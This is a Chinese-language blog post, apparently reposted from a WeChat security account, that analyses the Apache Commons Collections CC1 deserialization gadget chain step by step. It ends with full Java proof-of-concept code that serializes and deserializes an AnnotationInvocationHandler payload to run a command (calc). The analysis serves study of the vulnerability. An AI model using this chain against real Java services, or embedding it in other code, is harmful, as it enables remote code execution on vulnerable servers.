CommonCollections1链简单分析

admin 2024年3月25日07:53:19评论5 views字数 10366阅读34分33秒阅读模式

CommonsCollections1简称CC1链,ApacheCommons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。Commons Collections组件里面定义了一个Transformer接口,InvokerTransformer实现了Transformer接口,且可以执行任意方法,这也是CC1链中的主角。            

一、复现环境  

java < 8u71(再往后它的AnnotationInvocationHandler中readObject函数有改动)            
CommonsCollections <= 3.2.1            

二、EXP分析  

网上CC1链的构造有两种,一个是使用TransformedMap类,另一个是利用到LazyMap类,先来看看较为简单的TransformedMap。

先看看如下一段代码。

import org.apache.commons.collections.Transformer;            
import org.apache.commons.collections.functors.ChainedTransformer;            
import org.apache.commons.collections.functors.ConstantTransformer;            
import org.apache.commons.collections.functors.InvokerTransformer;            
import org.apache.commons.collections.map.TransformedMap;            
import java.util.HashMap;            
import java.util.Map;            
           
           
public class CommonCollections1 {            
public static void main(String[] args) throws Exception {            
Transformer[] transformers = new Transformer[]{            
new ConstantTransformer(Runtime.getRuntime()),            
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})            
};            
           
Transformer transformerChain = new ChainedTransformer(transformers);            
           
Map innerMap = new HashMap();            
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);            
outerMap.put(1,2);//使用TransformedMap的put方法调用ChainedTransformer的transform方法,进行遍历Transformer数组每个对象的transform方法            
}            
}            
   

CommonCollections1链简单分析    

很明显执行了我们代码中定义的calc命令,那我们来逐行分析一下看看代码中是怎么执行命令的。

0、流程图  

outerMap.put() -> TransformedMap.put()            
-> this.transformKey(key)            
-> return object(this.keyTransformer == null)            
-> this.transformValue(value)            
-> return this.valueTransformer.transform(object)            
-> ChainedTransformer.transform()//遍历循环transformers数组            
-> object = ConstantTransformer.transform()            
-> InvokerTransformer.transform(object)            
-> Runtime.getRuntime().getMethod(exec,new Class[]{String.class}).invoke(Runtime.getRuntime(),new Object[]{"calc"})            
           
   

1、TransformedMap  

创建了一个HashMap对象赋值给innerMap,调用了TransformedMap里的decorate方法 ,且把innerMap和transformerChain传了进来。

Map innerMap = new HashMap();            
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);            

跟进TransformedMap.decorate方法,发现它把值传入了另一个TransformedMap函数当中。

CommonCollections1链简单分析

继续跟进,把传进的参数进行赋值了,根据参数传递关系,所以这里的keyTransformer和valueTransformer分别为null和transformerChain。

CommonCollections1链简单分析

执行TransformedMap的put方法,跟进该函数,调用了transformKey和transformValue方法。

outerMap.put(1,2);            
   

CommonCollections1链简单分析

判断keyTransformer和valueTransformer是否等于null,是null的话就返回object;不是null,则执行keyTransformer和valueTransformer的transform方法。

keyTransformer为null;valueTransformer为transformerChain,所以这里执行了transform方法。

CommonCollections1链简单分析

2、ChainedTransformer  

创建ChainedTransformer函数赋值给transformerChain,传入参数为transformers数组。

Transformer transformerChain = new ChainedTransformer(transformers);            

跟进ChainedTransformer函数,发现以iTransformers数组进行返回。

CommonCollections1链简单分析

根据上面得知调用了ChainedTransformer的transform方法,跟进。    

通过for循环把iTransformers数组遍历出来,依次调用transform方法,且是前⼀个回调返回的结果,作为后⼀个回调的参数传⼊。

CommonCollections1链简单分析

3、ConstantTransformer  

Transformer[] transformers = new Transformer[]{            
new ConstantTransformer(Runtime.getRuntime()),            
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})            
};            

创建一个ConstantTransformer实例,并把Runtime.getRuntime()获取到的对象传入,跟进直接赋值,然后通过回调transform把赋值后的iConstant返回。

CommonCollections1链简单分析    

4、InvokerTransformer  

InvokerTransformer类是代码执行的关键,看看这里是怎么做的,创建一个InvokerTransformer,传入三个参数分别为("exec", new Class[]{String.class},new Object[]{"calc"})跟进。

CommonCollections1链简单分析

依次赋值然后回调transform,然后通过反射执行iMethodName方法,这样就达到了执行exec该方法的目的。

5、反序列化  

以上构造都是在本地运行,那么在反序列化中,我们该以什么样的思路去构造POC呢?

回想本地的POC,我们是outerMap.put触发transform回调,那么反序列化,我们就要寻找一个类其里面的readObject方法里面存在某个方法可以触发到transform回调。

这个类就是

sun.reflect.annotation.AnnotationInvocationHandler            

AnnotationInvocationHandler.readObject里触发回调的方法就是    

var5.setValue            

CommonCollections1链简单分析

三、代码分析  

打开Transformer接口,查看transform函数    

CommonCollections1链简单分析

可以看到有很多地方调用了该接口CommonCollections1链简单分析    

其中InvokerTransformer函数只要传入方法名、类型、所需传入的参数值,就可以调用该方法,像个后门CommonCollections1链简单分析

通过查询跟踪,发现checkSetValue函数调用了transform函数

CommonCollections1链简单分析

继续跟踪checkSetValue函数,MapEntry类里面的setValue方法调用了    

这是一个遍历map设置Value的方法

CommonCollections1链简单分析

寻找遍历map设置Value的函数

这里有一个直接调用的地方

CommonCollections1链简单分析

四、尝试编写EXP  

1、直接调用InvokerTransformer  

以此代码展开细化    

Runtime r = Runtime.getRuntime();            
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);            

CommonCollections1链简单分析

2、追踪transform细化exp  

原来的代码不变

Runtime r = Runtime.getRuntime();            
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});            

在上面的代码分析中,我们找到setValue是被map遍历中所调用,所以这里我们只需要写一个map遍历设置Value即可

完整代码如下:    

Runtime r = Runtime.getRuntime();            
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});            
HashMapmap = new HashMap<>();      
map.put("key","value");      
MaptransformedMap = TransformedMap.decorate(map,null,invokerTransformer);        
       
for (Map.Entry entry:transformedMap.entrySet()) {        
entry.setValue(r);        
}        
     

CommonCollections1链简单分析

3、反射调用AnnotationInvocationHandler  

代码分析中,已经找到了一个现成写好的map遍历设置Value函数了,反射调用它    

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");            
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);            
annotationInvocationdhdlConstructor.setAccessible(true);            
annotationInvocationdhdlConstructor.newInstance(Override.class,transformedMap);            

刚刚碰巧,这个函数刚好就是反序列化函数

CommonCollections1链简单分析

注意:annotationInvocationdhdlConstructor.newInstance()传入的第一个参数是注释参数,我们用Override.class,在代码中可以看到,Annotation就是注释    

CommonCollections1链简单分析

4、反射调用InvokerTransformer  

反射调用InvokerTransformer实现Runtime r = Runtime.getRuntime();

这是一个正常的命令执行代码

Runtime.getRuntime().exec("calc");            

这是一个正常的反射调用命令执行

Class c = Runtime.class;            
Method getRuntimeMethod = c.getMethod("getRuntime",null);            
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);            
Method execMethod = c.getMethod("exec", String.class);            
execMethod.invoke(r,"calc");            

现在我们拆分进行InvokerTransformer反射调用!

4.1、getMethod

getMethod方法第一个参数为字符串,第二个参数为Class数组    

CommonCollections1链简单分析

所以代码应该是这样,InvokerTransformer第一个参数为方法名,第二个为类型,第三个为该对象要执行的内容

CommonCollections1链简单分析

通过getMethod去获取Runtime.class里面的getRuntime方法

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);            

4.2、invoke

通过invoke调用getRuntimeMethod对象,然后赋值给对象r

invoke方法传参两个都是Object    

CommonCollections1链简单分析

Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);            

4.3、exec

重复上面的操作,通过getMethod获取exec,然后使用invoke调用,执行"calc"

Method execMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"exec", new Class[]{String.class}}).transform(Runtime.class);            
           
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{r,new Object[]{"calc"}}).transform(execMethod);            

也可以简化,源代码为

r.exec("calc");            
   

new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);            

4.4、简洁完整代码

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);            
           
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);            
           
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);            

CommonCollections1链简单分析    

5、简化反射InvokerTransformer中的transform调用  

我们在查看transform接口的时候,发现ChainedTransformer类的transform函数是一个循环遍历数组功能,并且每一个对象都会调用各自的transform

CommonCollections1链简单分析

CommonCollections1链简单分析

该类可以很好的方便我们使用transform,而不用每一个对象都单独写出来

简化代码如下:

Transformer[] transformers = new Transformer[]{            
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),            
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),            
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})            
};            
           
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);            
chainedTransformer.transform(Runtime.class);            
   

CommonCollections1链简单分析

7、AnnotationInvocationHandler类反序列化命令执行  

把chainedTransformer.transform(Runtime.class); 这行也放进Transformer[]数组里一起调用

CommonCollections1链简单分析    

该chainedTransformer对象其实就是new ChainedTransformer()方法返回的,所以我们只需要把Runtime.class文件放进去即可CommonCollections1链简单分析

代码如下图

CommonCollections1链简单分析

回到调用setValue方法的反序列化函数中,可以看到447行有一个if判断,memberType不能为空,传入的参数值为map key值

所以这里指的是map中,key值不能为空,也就是必须存在!!!

CommonCollections1链简单分析    

CommonCollections1链简单分析

在我们的代码中,Override.class文件里面并没有key这个成员变量,因为这是我乱打的。

CommonCollections1链简单分析

CommonCollections1链简单分析

但是在另一个Target注释符里面,这里是存在成员变量的,为value    

CommonCollections1链简单分析

反射调用AnnotationInvocationHandler类,并进行反序列化操作

CommonCollections1链简单分析

memberType值已经存在    

CommonCollections1链简单分析

反序列化命令执行成功!

CommonCollections1链简单分析

完整代码如下:

import org.apache.commons.collections.Transformer;            
import org.apache.commons.collections.functors.ChainedTransformer;            
import org.apache.commons.collections.functors.ConstantTransformer;            
import org.apache.commons.collections.functors.InvokerTransformer;            
import org.apache.commons.collections.map.TransformedMap;            
           
import java.io.*;            
import java.lang.annotation.Target;            
import java.lang.reflect.Constructor;            
import java.lang.reflect.Method;            
import java.util.HashMap;            
import java.util.Map;            
           
public class Test {            
public static void main(String[] args) throws Exception {            
Transformer[] transformers = new Transformer[]{            
new ConstantTransformer(Runtime.class),            
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),            
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),            
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})            
};            
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);            
HashMapmap = new HashMap<>();      
map.put("value","123");      
MaptransformedMap = TransformedMap.decorate(map,null,chainedTransformer);        
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);        
annotationInvocationdhdlConstructor.setAccessible(true);        
//Object o =annotationInvocationdhdlConstructor.newInstance(Override.class,transformedMap);        
Object o = annotationInvocationdhdlConstructor.newInstance(Target.class,transformedMap);        
       
serialize(o);        
unserialize("ser.bin");        
       
}        
       
public static void serialize(Object obj) throws Exception{        
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin"));        
oss.writeObject(obj);        
}        
       
public static Object unserialize(String Filename) throws Exception,ClassNotFoundException{        
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));        
Object obj = ois.readObject();        
return obj;        
}        
}        
     
   

原文始发于微信公众号(艾克sec):CommonCollections1链简单分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月25日07:53:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CommonCollections1链简单分析http://cn-sec.com/archives/2600221.html

发表评论

匿名网友 填写信息